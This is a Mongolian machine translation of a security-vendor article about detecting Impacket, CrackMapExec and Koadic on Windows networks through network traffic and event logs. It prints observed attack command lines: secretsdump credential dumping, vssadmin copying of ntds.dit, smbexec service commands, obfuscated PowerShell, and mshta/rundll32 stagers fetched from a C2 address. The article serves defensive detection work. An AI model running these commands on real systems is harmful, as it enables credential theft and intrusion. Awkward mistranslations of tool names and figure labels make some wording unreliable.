Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах

Корпорацийн салбар дахь халдлагын тоо жил бүр нэмэгдэж байна: жишээлбэл 2017 онд 13%-иар илүү өвөрмөц тохиолдол бүртгэгдсэн байна 2016 оныхоос, 2018 оны эцэст - 27% илүү осолөмнөх үетэй харьцуулахад. Үүний дотор үндсэн ажлын хэрэгсэл нь Windows үйлдлийн систем байдаг. 2017-2018 онд APT Dragonfly, APT28, APT MuddyWater Европ, Хойд Америк, Саудын Арабын засгийн газрын болон цэргийн байгууллагуудад халдлага үйлдсэн. Үүний тулд бид гурван хэрэгслийг ашигласан - Цохилт, CrackMapExec и Коадич. Тэдний эх код нээлттэй бөгөөд GitHub дээр байдаг.

Эдгээр хэрэгслүүдийг анх нэвтрэхэд ашигладаггүй, харин дэд бүтцийн доторх халдлагыг хөгжүүлэхэд ашигладаг гэдгийг тэмдэглэх нь зүйтэй. Халдагчид периметрийг нэвтлэсний дараа довтолгооны янз бүрийн үе шатанд тэдгээрийг ашигладаг. Дашрамд хэлэхэд үүнийг илрүүлэхэд хэцүү бөгөөд ихэнхдээ зөвхөн технологийн тусламжтайгаар л байдаг сүлжээний урсгал дахь эвдрэлийн ул мөрийг тодорхойлох эсвэл зөвшөөрдөг хэрэгслүүд Халдагчийн дэд бүтцэд нэвтэрсний дараа түүний идэвхтэй үйлдлийг илрүүлэх. Хэрэгслүүд нь файл дамжуулахаас эхлээд бүртгэлтэй харилцах, алсын машин дээр тушаалуудыг гүйцэтгэх зэрэг олон төрлийн функцээр хангадаг. Бид эдгээр хэрэгслүүдийн сүлжээний үйл ажиллагааг тодорхойлох судалгааг хийсэн.

Бид хийх ёстой зүйл:

  • Хакердах хэрэгсэл хэрхэн ажилладагийг ойлгох. Халдагчид юуг ашиглах ёстой, ямар технологи ашиглаж болохыг олж мэдээрэй.
  • Довтолгооны эхний үе шатанд мэдээллийн аюулгүй байдлын хэрэгслээр илрээгүй зүйлийг олоорой. Халдлага үйлдэгч нь дотоод халдлага үйлдэгч, эсвэл урьд өмнө мэдэгдээгүй дэд бүтцийн нүхийг ашиглаж байгаа тул тагнуулын үе шатыг алгасаж болно. Энэ нь түүний үйлдлийн бүхэл бүтэн хэлхээг сэргээх боломжтой болж, улмаар цаашдын хөдөлгөөнийг илрүүлэх хүсэл эрмэлзэл төрдөг.
  • Халдлага илрүүлэх хэрэгслээс худал эерэгийг арилгах. Зөвхөн хайгуулын үндсэн дээр тодорхой үйлдлүүд илэрсэн тохиолдолд байнга алдаа гарах боломжтой гэдгийг бид мартаж болохгүй. Ихэвчлэн дэд бүтцэд ямар ч мэдээлэл олж авахын тулд хууль ёсныхаас ялгагдахааргүй хангалттай тооны арга байдаг.

Эдгээр хэрэгслүүд халдагчдад юу өгдөг вэ? Хэрэв энэ нь Impacket бол халдагчид периметрийг эвдсэний дараа халдлагын янз бүрийн үе шатанд ашиглаж болох модулиудын томоохон санг хүлээн авдаг. Олон хэрэгслүүд Impacket модулийг дотооддоо ашигладаг - жишээлбэл, Metasploit. Энэ нь алсын тушаалыг гүйцэтгэхэд зориулагдсан dcomexec болон wmiexec, Impacket-аас нэмсэн санах ойноос бүртгэл авах secretsdump-тай. Үүний үр дүнд ийм номын сангийн үйл ажиллагааг зөв илрүүлэх нь деривативыг илрүүлэх баталгаа болно.

Зохиогчид CrackMapExec (эсвэл зүгээр л CME) талаар "Powered by Impacket" гэж бичсэн нь санамсаргүй хэрэг биш юм. Нэмж дурдахад CME нь нууц үг эсвэл тэдгээрийн хэш авах Mimikatz, алсаас гүйцэтгэхэд зориулсан Meterpreter эсвэл Empire агентыг хэрэгжүүлэх, Bloodhound зэрэг түгээмэл хувилбаруудад зориулагдсан бэлэн функцтэй.

Бидний сонгосон гурав дахь хэрэгсэл бол Коадич байв. Энэ нь саяхан болсон бөгөөд 25 онд болсон DEFCON 2017 олон улсын хакерын бага хуралд танилцуулагдсан бөгөөд стандарт бус арга барилаараа ялгагдана: HTTP, Java Script болон Microsoft Visual Basic Script (VBS) дээр ажилладаг. Энэ аргыг газар дээр нь амьдрах гэж нэрлэдэг: хэрэгсэл нь Windows-д суулгасан олон тооны хамаарал, сангуудыг ашигладаг. Зохиогчид үүнийг COM Command & Control буюу C3 гэж нэрлэдэг.

ЦОХИЛТ

Impacket-ийн функцууд нь AD дотор хайгуул хийх, дотоод MS SQL серверүүдээс өгөгдөл цуглуулах, итгэмжлэл авах арга техник хүртэл маш өргөн хүрээтэй: энэ нь SMB реле халдлага бөгөөд хэрэглэгчийн нууц үгийн хэшийг агуулсан ntds.dit файлыг домэйн хянагчаас авах явдал юм. Impacket нь WMI, Windows Scheduler Management Service, DCOM, SMB гэсэн дөрвөн өөр аргыг ашиглан тушаалуудыг алсаас гүйцэтгэдэг бөгөөд үүнийг хийхийн тулд итгэмжлэл шаарддаг.

Нууц хогийн цэг

Secretsdump-ийг харцгаая. Энэ нь хэрэглэгчийн машинууд болон домэйн хянагчдыг хоёуланг нь чиглүүлэх боломжтой модуль юм. Үүнийг LSA, SAM, SECURITY, NTDS.dit санах ойн хэсгүүдийн хуулбарыг олж авахад ашиглаж болох тул халдлагын янз бүрийн үе шатанд үүнийг харж болно. Модулийн үйл ажиллагааны эхний алхам бол SMB-ээр дамжуулан баталгаажуулалт бөгөөд энэ нь Pass the Hash халдлагыг автоматаар гүйцэтгэхийн тулд хэрэглэгчийн нууц үг эсвэл түүний хэшийг шаарддаг. Дараа нь Үйлчилгээний хяналтын менежер (SCM) руу нэвтрэх, winreg протоколоор дамжуулан бүртгэлд хандах хүсэлт ирдэг бөгөөд үүнийг ашиглан халдагчид сонирхож буй салбаруудын мэдээллийг олж, SMB-ээр дамжуулан үр дүнг авах боломжтой.

Зураг дээр. 1-ээс бид winreg протоколыг ашиглахдаа LSA бүхий бүртгэлийн түлхүүрийг ашиглан хэрхэн яаж нэвтрэхийг харж байна. Үүнийг хийхийн тулд DCERPC командыг opcode 15 - OpenKey ашиглана уу.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 1. Winreg протоколыг ашиглан бүртгэлийн түлхүүрийг нээх

Дараа нь түлхүүрт хандах үед утгууд нь opcode 20 бүхий SaveKey командын тусламжтайгаар хадгалагдана. Impacket үүнийг маш тодорхой аргаар хийдэг. Энэ нь утгуудыг .tmp хавсаргасан 8 санамсаргүй тэмдэгтийн мөр бүхий файлд хадгалдаг. Нэмж дурдахад, энэ файлын цаашдын байршуулалт нь System32 лавлахаас SMB-ээр дамждаг (Зураг 2).

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 2. Алсын машинаас бүртгэлийн түлхүүр авах схем

Сүлжээ дээрх ийм үйл ажиллагааг winreg протокол, тодорхой нэр, тушаал, тэдгээрийн дарааллыг ашиглан бүртгэлийн тодорхой салбаруудад асуулга хийх замаар илрүүлж болно.

Мөн энэ модуль нь Windows үйлдлийн бүртгэлд ул мөр үлдээдэг бөгөөд үүнийг илрүүлэхэд хялбар болгодог. Жишээлбэл, тушаалыг гүйцэтгэсний үр дүнд

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Windows Server 2016 бүртгэлд бид дараах үйл явдлын үндсэн дарааллыг харах болно.

1. 4624 - алсаас нэвтрэх.
2. 5145 - winreg алсын үйлчилгээнд нэвтрэх эрхийг шалгаж байна.
3. 5145 - System32 лавлах дахь файлын хандалтын эрхийг шалгаж байна. Файл дээр дурдсан санамсаргүй нэртэй байна.
4. 4688 - vssadmin-ийг ажиллуулдаг cmd.exe процесс үүсгэх:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - тушаалаар процесс үүсгэх:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - тушаалаар процесс үүсгэх:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - тушаалаар процесс үүсгэх:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Ашиглалтын дараах олон хэрэгслүүдийн нэгэн адил Impacket нь тушаалуудыг алсаас гүйцэтгэх модулиудтай. Бид алсын машин дээр интерактив командын бүрхүүлээр хангадаг smbexec дээр анхаарлаа хандуулах болно. Энэ модуль нь нууц үг эсвэл нууц үгийн хэш ашиглан SMB-ээр дамжуулан баталгаажуулалтыг шаарддаг. Зураг дээр. Зураг 3-т бид ийм хэрэгсэл хэрхэн ажилладаг жишээг харж байна, энэ тохиолдолд энэ нь локал администраторын консол юм.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 3. Интерактив smbexec консол

Баталгаажуулалтын дараа smbexec-ийн эхний алхам бол OpenSCManagerW командын тусламжтайгаар SCM-г нээх явдал юм (15). Асуулга нь анхаарал татаж байна: MachineName талбар нь DUMMY юм.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 4. Үйлчилгээний хяналтын менежерийг нээх хүсэлт

Дараа нь CreateServiceW командыг ашиглан үйлчилгээг үүсгэнэ (12). Smbexec-ийн хувьд бид ижил командын бүтцийн логикийг байнга харж болно. Зураг дээр. 5 ногоон нь өөрчлөгдөөгүй командын параметрүүдийг, шар нь халдагч юуг өөрчилж болохыг заана. Гүйцэтгэх боломжтой файлын нэр, түүний лавлах болон гаралтын файлыг өөрчлөх боломжтой гэдгийг харахад хялбар байдаг, гэхдээ бусад нь Impacket модулийн логикийг алдагдуулахгүйгээр өөрчлөхөд илүү хэцүү байдаг.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 5. Үйлчилгээний хяналтын менежер ашиглан үйлчилгээ үүсгэх хүсэлт

Smbexec нь Windows-ийн үйл явдлын бүртгэлд илэрхий ул мөр үлдээдэг. ipconfig командтай интерактив командын бүрхүүлд зориулсан Windows Server 2016 бүртгэлд бид дараах үйл явдлын үндсэн дарааллыг харах болно.

1. 4697 - хохирогчийн машин дээр үйлчилгээг суурилуулах:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - 1-р цэгийн аргументуудтай cmd.exe процессыг бий болгох.
3. 5145 - C$ сан дахь __гаралтын файлд хандах эрхийг шалгаж байна.
4. 4697 — хохирогчийн машин дээр үйлчилгээг суурилуулах.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - 4-р цэгийн аргументуудтай cmd.exe процессыг бий болгох.
6. 5145 - C$ сан дахь __гаралтын файлд хандах эрхийг шалгаж байна.

Impacket нь халдлагын хэрэгслийг хөгжүүлэх үндэс суурь юм. Энэ нь Windows-ийн дэд бүтцийн бараг бүх протоколуудыг дэмждэг бөгөөд нэгэн зэрэг өөрийн гэсэн онцлог шинж чанартай байдаг. Энд тусгайлсан winreg хүсэлтүүд, мөн SCM API-ийн онцлог команд үүсгэх, файлын нэрийн формат, SMB хуваалцах SYSTEM32 зэргийг энд харуулав.

CRACKMAPEXEC

CME хэрэгсэл нь голчлон халдагчийн сүлжээ дотор урагшлахын тулд хийх ёстой ердийн үйлдлүүдийг автоматжуулахад зориулагдсан. Энэ нь танд алдартай Empire агент болон Meterpreter-тэй хамтран ажиллах боломжийг олгодог. Командуудыг нууцаар гүйцэтгэхийн тулд CME нь тэдгээрийг бүдгэрүүлж болно. Bloodhound (тусдаа тагнуулын хэрэгсэл) ашиглан халдагчид идэвхтэй домэйн администраторын сешн хайх ажиллагааг автоматжуулж чадна.

Bloodhound

Bloodhound нь бие даасан хэрэгсэл болохын хувьд сүлжээн доторх ахисан түвшний хайгуул хийх боломжийг олгодог. Энэ нь хэрэглэгчид, машинууд, бүлгүүд, сешнүүдийн талаарх мэдээллийг цуглуулж, PowerShell скрипт эсвэл хоёртын файл хэлбэрээр нийлүүлдэг. Мэдээлэл цуглуулахад LDAP эсвэл SMB-д суурилсан протоколуудыг ашигладаг. CME интеграцийн модуль нь Bloodhound-ийг хохирогчийн машинд татаж авах, ажиллуулсны дараа цуглуулсан өгөгдлийг хүлээн авах боломжийг олгодог бөгөөд ингэснээр систем дэх үйлдлүүдийг автоматжуулж, анзаарагдахгүй болгодог. Bloodhound график бүрхүүл нь цуглуулсан өгөгдлийг график хэлбэрээр үзүүлдэг бөгөөд энэ нь халдагчийн машинаас домэйн администратор хүртэлх хамгийн богино замыг олох боломжийг олгодог.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 6. Bloodhound интерфейс

Хохирогчийн машин дээр ажиллахын тулд модуль нь ATSVC болон SMB ашиглан даалгавар үүсгэдэг. ATSVC нь Windows Task Scheduler-тэй ажиллах интерфейс юм. CME нь сүлжээгээр даалгавар үүсгэхийн тулд NetrJobAdd(1) функцийг ашигладаг. CME модулийн илгээдэг жишээг Зураг дээр үзүүлэв. 7: Энэ бол cmd.exe командын дуудлага ба XML формат дахь аргумент хэлбэрээр ойлгомжгүй код юм.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Зураг 7. CME-ээр дамжуулан даалгавар үүсгэж байна

Даалгаврыг гүйцэтгэхээр ирүүлсний дараа хохирогчийн машин Bloodhound-ыг өөрөө эхлүүлдэг бөгөөд үүнийг замын хөдөлгөөнөөс харж болно. Энэхүү модуль нь стандарт бүлгүүд, домэйн дэх бүх машин, хэрэглэгчдийн жагсаалтыг авах, SRVSVC NetSessEnum хүсэлтээр дамжуулан идэвхтэй хэрэглэгчийн сессийн талаарх мэдээллийг авах LDAP асуулгаар тодорхойлогддог.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 8. SMB-ээр дамжуулан идэвхтэй сешнүүдийн жагсаалтыг авах

Нэмж дурдахад, Bloodhound-ийг хохирогчийн машин дээр аудит идэвхжүүлсэн үед эхлүүлэхэд ID 4688 (процесс үүсгэх) болон үйл явцын нэр бүхий үйл явдал дагалддаг. «C:WindowsSystem32cmd.exe». Үүний анхаарал татахуйц зүйл бол тушаалын мөрийн аргументууд юм:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

enum_avproducts модуль нь функциональ болон хэрэгжилтийн үүднээс маш сонирхолтой юм. WMI нь Windows-ийн янз бүрийн объектуудаас өгөгдөл авахын тулд WQL асуулгын хэлийг ашиглах боломжийг олгодог бөгөөд энэ нь үндсэндээ энэ CME модулийг ашигладаг. Энэ нь хохирогчийн машин дээр суулгасан хамгаалалтын хэрэгслийн талаар AntiSpywareProduct болон AntiMirusProduct ангиудад асуулга үүсгэдэг. Шаардлагатай өгөгдлийг олж авахын тулд модуль нь rootSecurityCenter2 нэрийн орон зайд холбогдож, дараа нь WQL асуулга үүсгэж, хариу хүлээн авдаг. Зураг дээр. Зураг 9-д ийм хүсэлт, хариултын агуулгыг харуулав. Бидний жишээн дээр Windows Defender олдсон.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 9. enum_avproducts модулийн сүлжээний үйл ажиллагаа

Ихэнх тохиолдолд WQL асуулгын талаар хэрэгтэй мэдээллийг олж авах боломжтой WMI аудит (Trace WMI-Activity) идэвхгүй болдог. Харин үүнийг идэвхжүүлсэн бол enum_avproducts скриптийг ажиллуулбал ID 11-тэй үйл явдал хадгалагдах бөгөөд энэ нь хүсэлтийг илгээсэн хэрэглэгчийн нэр болон rootSecurityCenter2 нэрийн талбарт байгаа нэрийг агуулна.

CME модулиуд тус бүр нь WQL-ийн тодорхой асуулга эсвэл LDAP болон SMB дахь Bloodhound-д тусгайлан зориулсан үйл ажиллагаа, будлиантай ажил төлөвлөгч дээр тодорхой төрлийн даалгаврыг бий болгох гэх мэт өөрийн гэсэн олдворуудтай байсан.

КОАДИК

Koadic-ийн өвөрмөц онцлог нь Windows-д суулгасан JavaScript болон VBScript орчуулагчийг ашиглах явдал юм. Энэ утгаараа энэ нь газрын чиг хандлагыг дагаж амьдардаг - өөрөөр хэлбэл гадны хамааралгүй бөгөөд Windows-ийн стандарт хэрэгслийг ашигладаг. Халдвар авсны дараа машин дээр “суулгац” суулгаж, түүнийг удирдах боломжийг олгодог тул энэ нь бүрэн команд ба хяналтын (CnC) хэрэгсэл юм. Ийм машиныг Коадийн нэр томъёогоор "зомби" гэж нэрлэдэг. Хохирогчийн талд бүрэн ажиллагаа явуулах эрх хангалтгүй байвал Коадич нь хэрэглэгчийн дансны хяналтыг тойрч гарах арга (UAC bypass) ашиглан тэдгээрийг нэмэгдүүлэх боломжтой.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 10. Koadic Shell

Хохирогч Command & Control сервертэй холбоо тогтоох ёстой. Үүнийг хийхийн тулд тэрээр өмнө нь бэлтгэсэн URI-тай холбоо барьж, үе шатуудын аль нэгийг ашиглан үндсэн Koadic биеийг хүлээн авах хэрэгтэй. Зураг дээр. Зураг 11-д мшта статерийн жишээг үзүүлэв.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 11. CnC сервертэй сессийг эхлүүлж байна

WS хариултын хувьсагч дээр үндэслэн гүйцэтгэл нь WScript.Shell-ээр явагдах нь тодорхой болох ба STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE хувьсагчдууд нь одоогийн сессийн параметрүүдийн талаарх гол мэдээллийг агуулна. Энэ нь CnC сервертэй HTTP холболтын анхны хүсэлт-хариулт хос юм. Дараагийн хүсэлтүүд нь дуудагдсан модулиудын (суулгац) үйл ажиллагаатай шууд холбоотой байдаг. Бүх Koadic модулиуд нь зөвхөн CnC-тэй идэвхтэй сесстэй ажилладаг.

Мимикатз

CME нь Bloodhound-тэй ажилладаг шиг Коадич нь Mimikatz-тай тусдаа програмаар ажилладаг бөгөөд үүнийг эхлүүлэх олон арга замтай. Доорх нь Mimikatz суулгацыг татаж авах хүсэлт-хариу хос юм.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 12. Мимикатцыг Коадич руу шилжүүл

Хүсэлт дэх URI формат хэрхэн өөрчлөгдсөнийг та харж болно. Энэ нь одоо csrf хувьсагчийн утгыг агуулж байгаа бөгөөд энэ нь сонгосон модулийг хариуцдаг. Түүний нэрийг бүү анхаар; CSRF-ийг ихэвчлэн өөрөөр ойлгодог гэдгийг бид бүгд мэднэ. Хариулт нь Коадичийн үндсэн хэсэг байсан бөгөөд үүнд Мимикатцтай холбоотой кодыг нэмж оруулсан болно. Энэ нь нэлээд том тул гол зүйлийг харцгаая. Энд бид base64-д кодлогдсон Mimikatz номын сан, түүнийг шахах цуврал .NET анги, Mimikatz-ийг эхлүүлэх аргументуудтай. Гүйцэтгэлийн үр дүнг сүлжээгээр тодорхой текстээр дамжуулдаг.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 13. Mimikatz-ийг алсын төхөөрөмж дээр ажиллуулсны үр дүн

Exec_cmd

Koadic нь тушаалуудыг алсаас гүйцэтгэх боломжтой модулиудтай. Энд бид ижил URI үүсгэх арга болон танил sid болон csrf хувьсагчдыг харах болно. exec_cmd модулийн хувьд бүрхүүлийн командуудыг гүйцэтгэх чадвартай биед код нэмэгддэг. CnC серверийн HTTP хариунд агуулагдсан ийм кодыг доор харуулав.

Windows-ийн дэд бүтцэд халдлагыг хэрхэн илрүүлэх вэ: хакерын хэрэгслийг судлах
Цагаан будаа. 14. Суулгацын код exec_cmd

Танил WS атрибут бүхий GAWTUUGCFI хувьсагч нь кодыг гүйцэтгэхэд шаардлагатай. Түүний тусламжтайгаар суулгац бүрхүүлийг дуудаж, кодын хоёр салбарыг боловсруулдаг - shell.exec гаралтын өгөгдлийн урсгалыг буцаах ба shell.run буцаахгүйгээр.

Коадик нь ердийн хэрэгсэл биш боловч хууль ёсны хөдөлгөөнд оролцож болох өөрийн гэсэн олдворуудтай:

  • HTTP хүсэлтийг тусгайлан бүрдүүлэх,
  • winHttpRequests API ашиглан,
  • ActiveXObject-ээр дамжуулан WScript.Shell объект үүсгэх,
  • гүйцэтгэх боломжтой том биетэй.

Анхны холболтыг статер эхлүүлдэг тул Windows үйл явдлуудаар дамжуулан түүний үйл ажиллагааг илрүүлэх боломжтой. Mshta-ийн хувьд энэ нь 4688-р үйл явдал бөгөөд энэ нь эхлэх шинж чанар бүхий процесс үүсгэснийг харуулж байна:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Koadic ажиллаж байх үед та үүнийг төгс тодорхойлдог бусад 4688 үйл явдлыг харж болно:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

үр дүн нь

Гэмт хэрэгтнүүдийн дунд газар шороон дээр амьдрах хандлага улам бүр түгээмэл болж байна. Тэд өөрсдийн хэрэгцээнд зориулж Windows-д суулгасан хэрэгсэл, механизмыг ашигладаг. Энэхүү зарчмыг дагаж мөрддөг алдартай Koadic, CrackMapExec болон Impacket хэрэгслүүд APT тайланд улам бүр гарч байгааг бид харж байна. Эдгээр хэрэгслүүдэд зориулсан GitHub дээрх сэрээний тоо нэмэгдэж байгаа бөгөөд шинэ нь гарч ирж байна (одоо мянга орчим нь байгаа). Энэ чиг хандлага нь энгийн байдлаасаа болж түгээмэл болж байна: халдагчдад гуравдагч талын хэрэгсэл хэрэггүй, тэд аль хэдийн хохирогчдын машин дээр байгаа бөгөөд аюулгүй байдлын арга хэмжээг тойрч гарахад тусалдаг. Бид сүлжээний харилцааг судлахад анхаарлаа хандуулдаг: дээр дурдсан хэрэгсэл бүр сүлжээний урсгалд өөрийн гэсэн ул мөр үлдээдэг; Тэдгээрийн нарийвчилсан судалгаа нь бидэнд бүтээгдэхүүнээ заах боломжийг олгосон PT сүлжээний халдлагыг илрүүлэх тэдгээрийг илрүүлэх, энэ нь эцэстээ тэдэнтэй холбоотой кибер ослын гинжин хэлхээг бүхэлд нь судлахад тусалдаг.

зохиогчид:

  • Антон Тюрин, Позитив Технологийн PT Expert Security Center-ийн Шинжээчдийн үйлчилгээний хэлтсийн дарга
  • Егор Подмоков, Positive Technologies PT Expert Security Center-ийн шинжээч

Эх сурвалж: www.habr.com

сэтгэгдэл нэмэх